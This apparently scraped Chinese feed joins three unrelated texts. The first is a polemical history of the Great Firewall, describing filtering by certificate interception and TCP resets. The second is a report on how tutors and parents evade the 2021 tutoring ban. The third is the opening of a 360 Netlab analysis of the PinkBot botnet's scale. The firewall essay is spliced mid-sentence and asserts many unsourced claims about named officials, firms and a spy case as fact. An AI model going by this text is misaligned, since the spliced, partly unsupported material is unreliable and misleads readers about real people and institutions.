2007年4月6日,国家计算机网络与信息安全管理中心上海分中心机房楼奠基,位于康桥镇杨高南路5788号,投资9047万元,”……是国家发改委批准实施的国家级重大项目,目前全国只有北京和上海建立了分中心,它是全国互联网信息海关,对保障国家信息安全担负着重要作用。”
2007年7月17日,大量使用中国国内邮件服务商的用户与国外通信出现了退信、丢信等普遍现象。
2007年12月,方滨兴任北京邮电大学校长。
2008年1月18日,信息产业部决定免去方滨兴的国家计算机网络与信息安全管理中心名誉主任、信息产业部互联网应急处理协调办公室主任职务,”另有职用”。
2008年2月29日,方滨兴当选第十一届全国人民代表大会安徽省代表。
2009年8月10日,方滨兴在”第一届中国互联网治理与法律论坛”上大力鼓吹网络实名制。
国家计算机网络与信息安全管理中心(安管中心)是原信产部现工信部的直属部门。
安管中心与国家信息化工作领导小组计算机网络与信息安全管理工作办公室与国家计算机网络应急技术处理协调中心(CNCERT/CC,互联网应急中心)是一个机构几块牌子的关系。比如方滨兴简历中”1999-2000年在国家计算机网络应急技术处理协调中心任副总工”与”计算机网络应急处理协调中心”的成立时间两种说法就有着微妙的矛盾。实际上几个机构的人员基本一致。安管中心下属互联网交换中心与国家互联网络交换中心是不同的机构。各安管中心省级分中心一般挂靠当地的通信管理局。
安管中心的主要科研力量来自”哈尔滨工业大学一定会兴盛”方滨兴当博导有一批学生的哈工大以及关系良好的中科院计算所,这两个机构是那三个国家信息 安全重大项目的主要参与者,之后还在不断吸引人才并为安管中心输送人才和技术。在方滨兴空降北邮之后,往安管中心输血的成分中哈工大的逐渐减少,北邮的逐渐增多。
CNCERT/CC的国内”合作伙伴”有中国互联网协会主办北京光芒在线网络科技有限公司承办的中国互联网用户反垃圾邮件中心,是个没有实权的空壳;国家反计算机入侵及防病毒研究中心、国家计算机病毒应急处理中心,是公安部、科技部麾下;违法和不良信息举报中心是国新办势力范围;国家计算机网络入侵防范中心是中科院研究生院的机构,同样直接支撑CNCERT/CC。
CNCERT/CC的应急支撑单位中民营企业最初领跑者是绿盟,后来绿盟因其台谍案被罢黜,启明星辰取而代之。而安管中心具有一些资质认证、准入审 批的行政权力,这可能是民间安全企业趋之若骛的原因。不过,民营企业并未参与到国家信息安全的核心项目建设中,安管中心许多外围项目交给民企外企做,比如 像隔离器之类的访问限制设备外包给启明星辰以作为辅助、备用,或者在与他们在网络安全监测上有所交流。
敏锐的读者从时间表应该已经看出这样的感觉了。实际上,GFW与金盾就是没有关系,两者泾渭分明,有很多区别。
公安系统搞网络监控的是公安部十一局
GFW是“国家信息关防工程”的一个子工程,直接上级是国家信息化工作领导小组和信息产业部是政治局亲自抓的国防工程.这个工程主要监测发现有害网站和信息,IP地址定位,网上对抗信息的上报,跟踪有害短信息和及时进行封堵。 江泽民,朱镕基,胡锦涛,李岚清,吴邦国等多次视察该工程
“国家信息关防工程”包括 “国家信息安全管理系统 工程代号为005。还有国家信息安全016工程等等
GFW主要是舆情情报系统的工具,而金盾主要是公安系统的工具。GFW的总支持者是负责宣传工作的李长春,和张春江 江绵恒 最初的主要需求来自政治局 政法委 安全部 610办 ;而金盾的总支持者是公安系统的高层人士,主要需求来自公安部门。GFW主外,作网络海关用;而金盾主内,作侦查取证用。GFW建设时间短,花费少,成效好;而金盾 建设时间长,花费巨大(GFW的十倍以上),成效不显著。GFW依附于三个国家级国际出入口骨干网交换中心从CRS GSR流量分光镜像到自己的交换中心搞入侵检测,再扩散到一些放在ISP那里的路由封IP,位置集中,设备数量少;而金盾则是公安内部信息网络,无处不在,数量巨大。GFW的科研实力雄厚,国内研 究信息安全的顶尖人才和实验室有不少在为其服务,比如哈工大信息安全重点实验室、中科院计算所 软件所 高能所 国防科大总参三部 安全部9局 北邮 西电 、 上海交大 北方交大 北京电子科技学院 解放军信息工程学院 解放军装甲兵工程学院 信产部中电30所 总参56所等等;另外几乎所有985 211高校都参与此工程 一些公司商业机构也参与某些外围工程项目如 Websense packeteer BlueCoat 华为 北大方正 港湾 启明星辰 神州数码也提供了一些辅助设备 中搜 奇虎 北京大正 雅虎等等参与了搜索引擎安全管理系统 在某些省市级的网络机房里,接入监控的部门就五花八门了,有安全、公安、纪检、部队,等等部署的设备也是五花八门 正规军 杂牌军 洋外援各自为战.
而金盾的科研实力较弱,公安系统的公安部第三研究所信息网络安全研发中心、国家反计算机入侵与防病毒研究中心都缺乏科研力量和科研成果,2008年8月成立信息网络安全公安部重点实验室想 与哈工大的重点实验室抗衡,还特意邀请方滨兴来实验室学术委员会,不过这个实验室光是电子数据取证的研究方向就没什么前景,而且也没什么研究成果。GFW之父方滨兴没有参与金盾工程,而工程院里在支持金盾工程的是沈昌祥;实际上那个公安部重点实验室的学术委员会名单很是有趣,沈昌祥自然排第一,方滨兴因为最近声名太显赫也不好意思不邀请他,方滨兴可能也有屈尊与公安系统打好关系的用意。
GFW主要使用的硬件来自曙光和华为,没有思科、Juniper,软件大部为自主开发。原因很简单,对国家信息安全基础设施建设,方滨兴在他最近的 讲话《五个层面解读国家信息安全保障体系》中也一直强调”信息安全应该以自主知识产权为主”。何况GFW属于保密的国防工程而且GFW没有闲钱去养洋老爷,肥水不流外人田。李国杰是工程院信息工程部主任、曙光公司董事长、中科院计算所所长,GFW的大量服务器设备订单都给了曙光。方滨兴还将安管中心所需的大型机大订单给李国杰、国防科大卢锡城、总参56所陈左宁三位院士所在单位各一份。所以GFW为什么那么多曙光的设备,GFW为什么那么多中科院计算所的科研力量,为什么方滨兴成为 中科院计算所和国防科大都有显赫的兼职,为什么方滨兴从老家哈尔滨出来打拼短短7年时间就入选工程院卢浮宫?就是因为方滨兴头脑灵活,做事皆大欢喜。
网上有人讽刺GFW夜郎自大,事实上这是盲目乐观,无知者无畏。GFW的技术是世界顶尖的,GFW集中了哈工大、中科院、北邮货真价实的顶尖人才, 科研力量也是实打实地雄厚,什么动态SSL Freenet VPN SSH TOR GNUnet JAP I2P Psiphon 什么Feed Over Email 算什么葱。所有的翻墙方法,只要有人想得到,GFW都有研究并且有反制措施的实验室方案储备。
比如说:串接式封堵 采用中间人攻击手段来替换加密通信双方所用的没有经过可信赖CA签名保护的数字证书网关/代理间的证书协调,在出口网关上进行解密检测也就是所谓深度内容检测 七层过滤 HTTPS 是需要认证的。客户端访问服务器时,服务器端提供CA证书,但有些实现也可以不提供CA证书那么对于不提供CA证书的服务器,防火墙处理很简单,一律屏蔽掉另外检测默认的CA发证机构,如果证书不是这些机构(Verisign、Thawte Geotrust)发的,杀无赦就是在客户端与服务器端进行https握手的阶段,过滤掉一切无CA证书或使用不合法CA证书的https请求。这一步是广谱过滤,与服务器的IP地址无关。
GFW主要是入侵防御系统,检测-攻击两相模型。
所有传输层明文的翻墙方案,检测然后立即进行攻击是很容易的事情;即使传输层用TLS之类的加密无法实时检测,那种方案面向最终用户肯定是透明的,谁也不能阻止GFW也作为最终用户来静态分析其网络层可检测特征。
入侵检测然后TCP会话重置攻击算是干净利落的手段了,最不济也能通过人工的方式来查出翻墙方 法的网络层特征(仅仅目标IP地址就已经足够)然后进行定点清除。
如果是一两个国家的敌人,GFW也能找到集群来算密钥。GFW是难得能有中央财政喂奶的科研项目。那些在哈工大地下室、中科院破楼里的穷研究生即使没有钱也能搞出东西来,现在中央财政喂奶,更是干劲十足了。
GFW什么都行,就是P2P没办法,因为匿名性太好了,既不能实时检测出来,也无法通过静态分析找到固定的、或者变化而可跟踪的网络层特征。就这样也能建两个陷阱节点搞点小破坏,而且中科院的242项目”P2P协议分析与测量”一直都没停。什么时候国外开学术会议还是Defcon谁谁发一篇讲Tor安全性的paper,立即拿回来研究一番实现一下,已然紧跟学术技术最前沿了。不过实际上,即使GFW这样一个中国最顶尖的技术项目也摆脱不了山寨的本性,就是做一个东西出来很容易,但是要把东西做细致就不行了。
不过可能有人就疑问,为什么GFW什么都能封但又不真的封呢?我的这个翻墙方法一直还是好好的嘛。其实GFW有它自己的运作方式。GFW从性质上讲 是纯粹的科研技术部门,对政治势力来说是一个完全没有主观能动性的工具。GFW内部有很严格权限管理,技术与政治封装隔离得非常彻底。封什么还是解封什 么,都是完全由上峰决定,党指挥枪,授权专门人员操作关键词列表,与技术实现者隔离得很彻底,互相都不知道在做什么。所以很多时候一些莫名其妙的封禁比如 封freebsd.org封freepascal.org(可能都联想到freetibet.org),或者把跟轮子的 GPass八杆子打不着的”package.debian.org/zh-cn/lenny/gpass” 列为关键词,都是那些摆弄着IE6的官僚们的颐指气使,技术人员要是知道了都得气死。
方滨兴在他最近的讲话《五个层面解读国家信息安全保障体系》中讲一个立足国情的原则,说:”主要是强调综合平衡安全成本与风险,如果风险不大就没有必要花太大的安全成本来做。在这里面需要强调一点就是确保重点的,如等级保护就是根据信息系统的重要性来定级,从而施加适当强度的保护。”
所以对于小众的翻墙方式,GFW按照它的职能发现了也就只能过一下目心里有个底,上峰根本都不知道有这么一种方式所以也根本不会去封、GFW自己也没权限封,或者知道了也懒得再花钱花精力去布置。枪打出头鸟,什么时候都是这样。
目前的状况是对于敏感数据能通过封锁基本上就是安全的,否则就被过滤掉了,对于庞大的网络数据用人来分析是不可能的,敏感数据只能基于过滤技术根据数据流里面的一些特征来发现,目前的解密技术对于庞大数据流量和加密技术想使用解密的方法是不可能实现的,只要加密数据流没有可识别的特征,过滤技术就不会有任何记录和反映,因此过滤技术是无法真正实现网络封锁的,因此必需加入新的参数,它们选择了量,即保存你的一段时间的数据。
现在的破网方法用的比较多得是动态网,无界,花园,等等,由于接点相对来说是有限的和可知的,因此保存一段时间的数据就有了意义,由于使用破网软件的人很多,不可能人人都抓,可以根据量来区分出重点,和经常使用破网软件的人,当然你可已通过代理来连接这些可知接点来解决这个问题,破网软件也提供了这样的方法,但是通过代理联接可知的接点的请求还是可能被截获的方滨兴一个人把GFW崛起过程中的政治势能全部转化为他的动能之后就把GFW扔掉了。
现在GFW是平稳期,完全是清水衙门,既没有什么后台,也无法 再有什么政治、资金上的利益可以攫取,也无法再搞什么新的大型项目,连IPv6对GFW来说都成了一件麻烦事情。方滨兴在他最近的讲话《五个层面解读国家信息安全保障体系》中也感慨道:”比如说Web 2.0概念出现后,甚至包括病毒等等这些问题就比较容易扩散,再比如说IPv6出来之后,入侵检测就没有意义了,因为协议都看不懂还检测什么……”
GFW 一直就没有地位,一直就是一个没人管的萝莉,国新办、网监、广电、版权、通管局之类的怪蜀黍都压在上面要做这做那。所以方滨兴在他最近的讲话《五个层面解读国家信息安全保障体系》中也首先强调一个机制,”需要宏观层面,包括主管部门予以支持。”所以,想解封网站,不要去找GFW本体,那没用,要去找GFW的上峰,随便哪个都行。而ISP就根本跟GFW没关系了,都不知道GFW具体搞些什么,起诉ISP完全属于没找到脉门。
不过GFW现在还是运行得很好,工作能力还有很大潜力可挖,唯一害怕的就是DDoS死撞墙。GFW的规模在前面的时间表里也有数字可以估计,而且 GFW现在的网站封禁列表也有几十万条之多。网络监控和对MSN YMSG ICQ等IM 短信监控也都尽善尽美。GFW在数据挖掘和协议分析上做的还比较成功多媒体数据如音频 视频 图形图像的智能识别分析 自然语言语义判断识别模式匹配 p2p VoIP IM 流媒体 加密内容识别过滤 串接式封堵 等等是将来的重点不过GFW也没有像机器学习之类的自组织反馈机制来自动生成关键词,因为它 本身没有修改关键词的权限,所以这种技术也没必要,况且国内这种技术也是概念吹得多论文发得多实践不成熟。现在GFW和金盾最想要的就是能够从万草从中揪出一小撮毒草的数据挖掘之类的人工智能技术。
方滨兴在他最近的讲话《五个层面解读国家信息安全保障体系》中提到”舆情驾驭核心能力”,”首先要能够发现和获取,然后要有分析和引导的能力”。怎么发现?就靠中科院在研的973课题”文本识别及信息过滤”和863重点项目”大规模网络安全事件监控”这种项目。
金盾工程花大钱搞出来,好评反而不如GFW,十一局的干警们脸上无光无法跟老一辈交代啊。公安系统的技术力量跟GFW没法比,不过公安系统有的是钱,随便买个几十万个摄像头几万台刀片几十PB硬盘接到省市级网络中心,把什么东西都记录下来。问题是记下来不能用,只能靠公安干警一页一页地翻Excel。所以说,虽然看起来GFW千疮百孔,金盾深不可测,只是因为公安部门比起GFW来比较有攻击性,看到毒草不是给你一个RST而是给你一张拘留证。反而是GFW大多数时候都把毒草给挡住了,而大多数毒草金盾都是没发现的。
境外网上而来的大量网络宣传让从未有过网络化经验的中央无所适从、毫无办法、十分着急。这些东西对中央来说都是难以忍受的安全威胁,为这些威胁又发生在网上,自然国家网络安全就被提上了首要议程。适逢信息化大潮,电子政务概念兴起,中央下决心好好应对信息化的问题,于是就成立了国家信息化工作领导小 组。我们可以看到,首批组成名单中,安全部门和宣传部门占了大多数席位,而且其第一下属机构就是处理安全问题,第二下属才是处理信息化改革,安全需求之强 烈,可见一斑。正是这个时候,一贯对信息安全充满独到见解的方滨兴被信产部的张春江调入了安管中心练级。方滨兴对信息安全的见解与高层对网络安全的需求不谋而合。
方滨兴在他最近的讲话《五个层面解读国家信息安全保障体系》中说:”一定要有一个信息安全法,有了这个核心法你才能做一系列的工作。”国家信息安全体系的首要核心就是以信息安全为纲的法律保障体系,通过国家意志――法律来定义何谓”信息安全”。信息安全本来是纯技术、完全中性的词语,通过国家意志的定义,将”煽动…煽动…煽动…煽动…捏造…宣扬…侮辱…损害…其他…”定义为所谓的网络攻击、网络垃圾、网络有害信息、网络安全威胁,却在实现层面完全技术性、中立性地看待安全,丝毫不考虑现实政治问题。这样既在技术上实现完备的封装,也给了用户以高可扩展性的安全事件定义界面。对国家安全与技术安全实现充满隐喻的捆绑,对意识形态与信息科学进行牢不可破的焊接,这就是方滨兴带给高层的开拓性思维,这就是方滨兴提出的国家信息安全话语范式。
这个话语范式是如此自然、封装得如此彻底,以至于几乎所有人都没有意识到中国的网络化发展出现了怎样严重的问题。几乎所有网民都没有意识到,给他们带来巨大麻烦和沮丧的GFW竟然是本来应该为网民打黑除恶的国家互联网应急响应中心;几乎所有网民都没有意识到,自己在网上某处的一亩三分地修剪花草对于国家来说竟然是网络安全攻击事件;几乎所有决策者都没有意识到,那个看似立竿见影的防火墙实际上具有怎样强大的副作用、会给互联网发展带来怎样大的伤害;几乎所有决策者都没有意识到,使用GFW这样专业的安全工具来进行网络封锁意味着什么。意识形态面对网络化这样变幻莫测的景色无法忍受,就只能用眼罩封闭住眼睛。
在讨论网络化的中文理论文本中,摆到首要位置占据最多篇幅的便是网络安全和网络威胁。国家信息化工作领导小组第一下属机构便是处理安全问题。这样,在网络本身都没有发展起来的时候,就在理论上对网络进行种种限制和控制;在网络仍然自发地成长起来以后,便在文化上对网络进行系统性妖魔化,在地理上 对网络中国进行闭关锁国。更严重的是,在根本不了解技术本质和副作用的情况下使用国家信息安全工具,就像一个不懂事的小孩把玩枪械。在维护安全的话语之下,决策者根本不知道使用GFW进行网络封锁就是在自己的网络国土上使用军队进行镇压,切断网线就是在自己的网络国土上使用核武器。
更悲哀的是,GFW的建设者们大多都没有意识到他们在做的究竟是什么事情,在签订保密协议之后就无意识中投身党国事业滚滚长江东逝水。像云晓春这种 跟着方滨兴出来打江山的,方滨兴倒是高飞了,云晓春们就只能鞠躬尽瘁干死技术,在安管中心反而被王秀军、黄澄清之辈后来居上。而当初在哈工大跟着方滨兴的穷研究生们,最后也陆陆续续去了百度之类的公司。GFW面临与曼哈顿工程一样的伦理困局。科学本是中立的,但科学家却被政治摆弄。技术工作者们只关心也只被允许关心如何实现安全,并不能关心安全的定义到底如何。他们缺乏学术伦理精神,不能实践”对自己工作的一切可能后果进行检验和评估;一旦发现弊端或危险,应改变甚至中断自己的工作;如果不能独自做出抉择,应暂缓或中止相关研究,及时向社会报警”的准则。结果就算他们辛辛苦苦做研究却也不能造福民生,反而被扣上“扼杀中国人权”,“纳粹帮凶”的帽子,不可谓不是历史的悲哀。
这种话语范式浸透了社会的方方面面。在这种话语之下,中国有了世界上最强大的防火墙,但中国的网络建设却远远落后于世界先进水平;中国有了世界上最庞大的网瘾治疗产业链,但中国的网络产业却只会山寨技;中国有了世界上最多的网民,但在互联网上却听不见中国的声音。GFW已经实现了人们的自我审查,让人们即使重获自由也无法飞翔,完成了其根本目的。现在即使对GFW的DDoS的技术已经成熟,然而推倒墙却也变得没有意义,只能让公安系统的金盾得势,更 多的网民被捕,最终新墙竖起。这一切都出自意识形态化现代性与网络化后现代性之间巨大断裂,以及“国家信息安全话语”这种致命的讳疾忌医。
一部GFW简史同时也是中国网络化简史。网络化既是技术变革,也是文化变革。网络文化这种”有害成份”无法分而治之,因为网络化的技术变革与文化变 革是一体的;后现代的网络文化也无法与现代的意识形态文化进行同化,因为两者分属不同的范式。网络的确是意识形态完全的敌人,因为网络多元化文化要求取消意识形态的中心地位;但意识形态不是网络的敌人,事实上网络没有敌人,因为网络只有解构对象。因此对于执政者来说,意识形态的中心地位与网络化发展趋势两者只能选择其一。实际情况是,执政者选择了前者,而把大刀挥向了Web 2.0。于是网络用它一贯调侃的风格模仿意识形态话语进行了如下讽刺:
“我们对你陈旧的政权概念和意识形态烂腌菜毫不感兴趣。你无法理解在人类网络化的历史潮流之前宏大叙事为何而消解,你也无法理解国家和民族概念为何将分崩离析,你无法改变你对互联网的无知。你的政权无法成为我们真正的敌人。”
--《2009匿名网民宣言》
其实, 《2009匿名网民宣言》只是过早的预言,赛博朋克式的谜语。
然而,无论中国的互联网受到了怎样的限制和压迫,即便中国网民的眼界已经被成功禁锢,中国的网络还是以它自己的方式适应种种压力顽强地发展。无论有多么强大的GFW或者金盾,即使被关在果壳之中,网络仍然在以意识形态完全不能理解的方式走向后现代蓝海,自成为无限空间之王。
]]>本文转自:https://mp.weixin.qq.com/s/Ofsg7pTanH3cu9nFEfJsMw
当人们开始用各种方式规避政策时,搞笑段子就成了荒诞现实。
一个公司的边界可能在哪里?最近两个月,这个问题有了新的答案。
“最让我没想到的是,公司居然还要做羽绒服。” 一位熟悉猿辅导业务的人说。
在线教育公司做羽绒服,听上去不过是最终会被放弃的诸多调研方向之一。但国庆期间,猿辅导在 BOSS 直聘挂出的服装设计岗位。负责招聘的人说现在团队已经有 5 个人,准备做时尚的户外羽绒服,面向成人市场。
那位熟悉猿辅导业务的人对《晚点 LatePost》说,现在猿辅导手上就三张牌:去年融到的数十亿美元、数亿学生都知道的猿辅导品牌、在广告大战中积累的流量。接下来就是要想办法怎么把这几张牌变现,“新消费是现在的热点,冬天也快到了。”
9 月底,猿辅导母公司的一家关联公司已经全资控股了北京冰原服饰有限公司。据教育垂直媒体多知网报道,这家公司的法人陈萌沧是猿辅导创始人李勇在网易新闻期间的前同事。
7 月下旬公布的中国教育 “双减” (中小学生减轻校内校外负担)政策,让所有从业者都不得不找新方向,不管这个方向是不是和教育相关。
新规禁止所有教育培训机构在周末和假期为中小学生提供学科培训。中国教育培训市场最有利可图的部分几近消失。周中开学科培训,也需要机构转成非盈利组织。
公立学校也要确保小学一、二年级不布置家庭书面作业,更高年级也得限制作业时间,全面减轻校内负担。
“鸡娃” 这个词已经诞生十多年,随着就业压力前移为升学压力,学生和家长的焦虑程度日渐递增,2020 年的教育投资潮后,更多大公司成长起来,拉拢更多学生家长买课以换取增长。根据《晚点 LatePost》统计,去年投向中小学学科教培市场的风险资金就超过 500 亿元。
中小学减负政策以前所未有的力度落地,切断了这个市场与资本的联系,覆盖了中国近 2 亿中小学生 12 年求学历程。政策对下一代人的影响将在几十年里逐渐展开。
在此之前,账上还有几十亿元的公司不会说关就关,总得找办法活下去。家长的焦虑也不会就此消失,而是以更加隐蔽的方式呈现。
9 月开始,猿辅导、作业帮、好未来、新东方等各家教培巨头都暂停了招生,并裁撤了数万名辅导老师、销售等。新东方、好未来更是开始关闭各个城市的中小学学科教学点,当周末和假期都不能再上课后,这些教学点难以承担昂贵的房租和师资。
一位作业帮中层看着自己原本一百多人的团队少了一半,又少了一半,到中秋节前,只剩寥寥十几个人。当他正准备和这十几个人继续支持公司新方向的时候,他也收到了裁员通知。离开的时候,他和老板说,“如果公司需要,我随时都可以回来。”
但另一些人突然发现自己更被重视了。一位作业帮战略人士说,现在 “感觉自己特别重要”,当竞争最激烈的时候,战略的工作更多是关注竞争对手在做什么,自己公司是不是该跟进。但当各家都不得不在一片黑暗中摸索的时候,战略就成了提着灯在前面探路的人。
他梳理了所有教育公司可能做的产品,最后选择了教育硬件。他语气神秘,相较字节跳动、腾讯做的学习台灯,和新东方做的学习机,他们想做的是 “不一样的东西,这样才有赢的可能。”
除了羽绒服外,猿辅导也在尝试做电子教材内容,将教材的知识点做成一个个动画短片,卖给消费者或者卖给学校。他们还研究过玩具、母婴用品,近视眼镜等方向。
一位熟悉字节业务的投资人听说,字节围绕动画、玩具做了诸多调研,因为公司在尝试塑造动画 IP,考虑生产玩具。但他对这个方向表示怀疑,“以前孩子反复看电视才记住那些动画形象。现在抖音上那么多选择,孩子凭啥就记住你的动画形象?”
另一位在一线教育机构工作的人士最近在研究老年人市场,发现除了广场舞教学课程,最火的就是教老年女性如何得体穿旗袍的礼仪课。他自己也觉得 “跨度不小”,公司根本没怎么接触过老年市场。
“我们也知道,大的战争已经结束了,小的战役很难扭转战局。” 说完这句,他低下头叹了口气。短暂沉默后,他说,可大家就是不甘心,即使从头再来,今天的起点也已经远远好于十几年前公司刚创办的时候。
不是所有公司都还有从头再来的机会,相较于资金相对充足的大公司,中小创业公司在过去两个月直面死亡。
一位北京的教育创业者在 9 月退租了上课的教室,因为一半以上的学生已经申请退费,他将剩下的学生拉去自己 160 平米的家中上课,每次上下课有人开车接送。他主要精力已经转向新开的餐馆,并准备把退费学生的课程折算成餐饮充值卡,返还给家长。
投资人们基本已经放弃了向中小教育公司要回投资款,为了避免被牵连。过去两个月,他们忙着帮这些公司嫁接资源:例如把青少年的学科课程换成另一家被投企业的成人知识付费课程,或者把编程课程换成另一个投资项目的轮胎打折券、加油优惠卡,给家长弥补点损失。
一些家长不愿把手里上万甚至几十万的课程折算成这些东西。投资机构找来了第三方投后公司,培训教育公司创始人们如何化解家长上门闹事的危机,金木衣(化名)过去一个月就做了多场培训。
要避免家长要求退费,大闹办公楼的场景出现,需要诸多实操技巧。例如家长一般会在地铁站或者广场集结,公司需要在这些地方安插眼线报信,一旦人群走进办公楼,就安排扫健康码,散开人群。
在此之前,金木衣服务的是殡葬公司、KTV、夜总会,积累了应付危机的经验。当群情激愤的时候,CEO 一定不能露面,因为会让人们更激动。要将情绪激动的家长引导进不同会议室,并且关掉会议室里的摄像头,避免出现肢体冲突说不清楚。
教育行业的景象启发了金木衣,他开始拓展更多行业,以分散风险。
想要降低风险的,还有政策高压下依然给学生进行学科培训的 “游击队”。
那是个过于拥挤的房间:不到 60 平米的两居室里,堆满了严立学(化名)和女友两个人所有的生活用品,数万元现金,和超过 30 箱白酒,其中超过一半是茅台,另一半则是五粮液和西凤酒——如果把这些箱子层层堆起来,得有三层楼高,换成现金也能在严立学的老家,一个三线城市买下一座独栋小院。
不是白酒经销商,也不是官员,严立学是一位 “上私课” 的课外辅导老师,曾在多家在线教育机构任职。用现金和茅台酒来收学费,是严立学从一位学生家长那里学来的。
“抓那些微信收款的老师可能只需要五分钟。” 然后呢?“然后,怎么判定白酒的价值,是不是算违法所得,就有操作空间了。” 严立学表情透着得意。
在中国焦虑的家长和竞争激烈的学生群体中,“上私课” 从来就不是什么新鲜事。但在 “双减” 落地后,“上私课” 的地点从隐蔽处转向更隐蔽处,上课方式从搞笑的段子变成了荒诞现实。
见到严立学的时候,他梳着三七分的油头,穿着蓝色的衬衫,扣子扣到了最上面一个,配上黑色皮带和灰色手提皮包,就像中层干部或者教导主任。但实际上他只有 28 岁,平时爱穿印有卡通头像的 T 恤、收藏动漫手办。
见面的那天是周末,严禁机构为中小学生提供学科培训,也是严立学每周最忙碌的时候。上午,他在一所大学的篮球场上课,一位任教的家长提供了场地。他一边拿着篮球,时不时投投篮,一边给四位拿着平板电脑的学生讲物理课。他将这些学生家长所在的群命名为 “体育理论知识提升”,课上讲的内容是 “篮球的受力分析。”
结束了这节 “体育理论” 课,他又匆忙赶到一家事业单位的办公楼,给三个孩子上物理课。当陌生人尝试单独进入这栋办公楼时,保安会要求登记姓名身份证号,打电话让内部联系人来接。
正是因为足够安全,严立学才敢 “顶风作案”。他曾在核心区域的居民楼内,走过三道 “防线”,进入学生家中。家长们在小区大门、单元楼大院门口和单元楼下各设了一道 “岗哨”,一旦看到一队陌生走来,就以扫健康码、身份登记等诸多程序拖延时间,单元楼南北各有一个出口供老师 “撤离”。家长笃定地告诉严立学,“老师你就放心上课,一旦有情况,绝对能让你先跑掉。”
上完了下午的课程,严立学又匆匆走进办公楼附近的酒店,还有上百位网课学生等着他上课。
主流的线上教室提供商均封禁了周末给中小学生进行学科培训的教室。严立学每节课都在不同的软件上课,直播教室的名称改成 “xx 公司会议”,他甚至还考虑等到风声更紧的时候,让所有学生的电脑上都装上软件,直接在国外最大的视频网站 YouTube 上直播开课。
招徕这些学生的方式就像进行某项军事任务。在一张招生 PPT 上,满是高中各个学科的课程,每个课程后面都跟着一串串代码,HAA、JBA、HBD。
“不懂代码含义的,压根不是我们的目标客户。” 严立学说,第一个字母代表真实年级,按照 26 个字母顺序,H 代表的就是初中八年级,第二个代表学习进度,第三个代表学习难度。
对严立学来说,“双减” 给他带来的最大的影响是,新报名的学生实在太多,有点接不过来了。所以通过这种代码 “公开 ” 招来的学生已经没有多少。家长们之间相互介绍已经能给他提供足够多的生源。他周末两天最多能上课 20 小时,两天赚两万,年收入上百万。
相较于我接触的其他几位 “上私课” 的老师,严立学赚的最多、考虑的也最多。当别的老师还在咖啡馆、自己家中给学生上课,用微信收学费时,严立学已经往返于办公楼、体育场和有人“放哨”的住宅楼,学费只收现金和名酒,甚至把银行卡上的十几万全部换成了茅台,就为了不在网上留下任何痕迹。
他还咨询了两三位律师,得知个人老师被举报查处,最严厉的处罚可能是上征信黑名单和被短期拘留,“如果严打,我的竞争对手会少很多很多。”
校外培训机构在大收缩,但不少家长提高孩子成绩的需求没有消失,一部分人甚至因此背上了更重的压力。
夏君山(化名)的孩子在西南省份的一所公立小学上二年级,“双减” 之前每天放了学能撒欢两小时。政策禁止一二年级布置书面家庭作业,并且不允许一二年级有纸面考试之后,她玩的时间只剩下半小时。
孩子回家额外写一小时作业,他再花半小时检查,就到了晚上 8 点半。之后再读读英语,练练琴,孩子就得洗洗睡觉。之前他和妻子不需要检查作业,孩子都是在学校写完作业回来,现在必须有个人盯着。
额外增加的作业来自一个分工明确的组织——家长委员会。班级家长群定期选出委员会的会长和十几个业务骨干,会长负责和各科老师单线沟通,确定本班学生每天需要额外完成的习题。习题由家长自行批改,练习册由家委会统一购买、不强制,不另外收费。
家长委员会用 “公司制管理”,避免一切不必要的麻烦。给孩子们买额外作业的费用来自每人一年 300 元的班费,家委会中专门有人负责财务、出纳、审计,每个月公开一次审计后的账单。
夏君山跟我抱怨,之所以做的如此规范,是因为现在家长们举报的渠道实在太通畅——去年中秋节,学校组织学生们举办庆祝活动,让每个学生从家里带一道菜。活动还没开始就被家长举报了,名头是可能存在食品安全问题。
家委会和老师之间已经达成了默契。家委会明面上和老师没有任何交集,老师不在家委会微信群中,也不会在班级内公开提到额外的练习册。但老师每天都会和会长沟通,指导家委会的作业进度,也会一对一把成绩排名发给家长,尽管政策明令禁止义务教育阶段对学生进行排名。
老师们也需要家委会这种 “民间力量” 盯住学生,他们的工作时间往往已经被备课、上课占满。以往孩子三点半放学他们就能够下班,现在还需要多加两小时的 “课后服务” 时间。一位在珠海公立学校工作的小学老师告诉我,课后服务的报酬是一小时 50 元,内容就是摆张桌子在教室外等着学生来问问题,“这其实是种变相的课后辅导,但没办法,学生最后考得不好老师考评也会受影响。”
只有孩子们搞不清楚状况。夏君山七岁的女儿有时候会写着写着额外的作业,抬起头来问他,为什么只有我们班有作业,别的班没有?夏君山就摆出不容置疑的严肃脸,“学校不让布置,这是老师偷偷布置的。你可以不写,但是被老师骂的就是你了啊。”
在夏君山看来,老师愿意在多大程度上关照孩子,取决于家长和老师之间的关系。这位中年父亲在一家大公司做技术实施,跟我聊天一小时中间就三次被客户来电打断。挂掉客户的电话后,他说,“平时怎么和客户搞关系,就怎么和老师搞关系。”
不能送得太刻意,一般是给自己家孩子买东西的时候,也给老师家孩子买一份;也不能送得太贵,老师出于礼貌,也会回礼,大约是 “我送你几百块的化妆品,你回我一个书包” 的程度。
根据国家中长期教育改革和发展规划纲要(2010-2020 年),原则上 50% 的应届初中生毕业后要读中等职业学校。
“家长怎么能接受孩子比自己过得差呢?” 夏君山说,中考就是第一个大坎,所以从小学就要开始 “鸡娃”,如果真的按照政策规定,限制孩子写作业和考试,一直放松到初中再努力,“那跟开盲盒有什么区别?”
]]>本文转自:https://blog.netlab.360.com/pinkbot/
本文完成于2020年春节前后,为维护广大最终消费者的利益,一直处于保密期无法发表。近日 CNCERT 公开披露了相关事件,令本文有了公开契机。在保密期的这段时间里,Pink 也出现一些新的小变动,笔者筛选了其中一部分放到“新动向”章节,供其他同仁共同追踪研究。
2019年11月21日,安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本,相关样本中包含大量以 pink 为首的函数名,所以我们称之为 PinkBot。
Pinkbot 是我们六年以来观测到最大的僵尸网络,其攻击目标主要是 mips 光猫设备,在360Netlab的独立测量中,总感染量超过160万,其中 96% 位于中国。
PinkBot 具有很强的技术能力:
可以说,PinkBot 在整个过程中表现出了极强的针对性和专业性,各方面能力都很均衡,甚至有些可怕。
我们通过对多个数据源的交叉对比,推测 PinkBot 的感染量在百万量级。三个评估的数据源如下:
“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算,该僵尸网络关联的Bot节点IP地址数量超过500万。因家庭宽带IP是动态分配的,背后的真实感染设备规模无法精确估计,推测实际感染设备数量在百万级,测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”
